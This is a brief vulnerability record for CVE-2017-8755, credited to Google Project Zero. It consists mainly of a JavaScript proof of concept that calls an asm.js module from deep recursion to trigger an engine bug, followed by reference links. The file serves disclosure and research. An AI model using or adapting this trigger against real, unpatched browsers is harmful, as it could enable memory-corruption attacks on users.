CVE-2017-8755.md

CVE-2017-8755

• Fix: Sep 2017
• Credit: lokihardt of Google Project Zero

PoC

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();

Reference

• Microsoft
• Google Project Zero
• Fix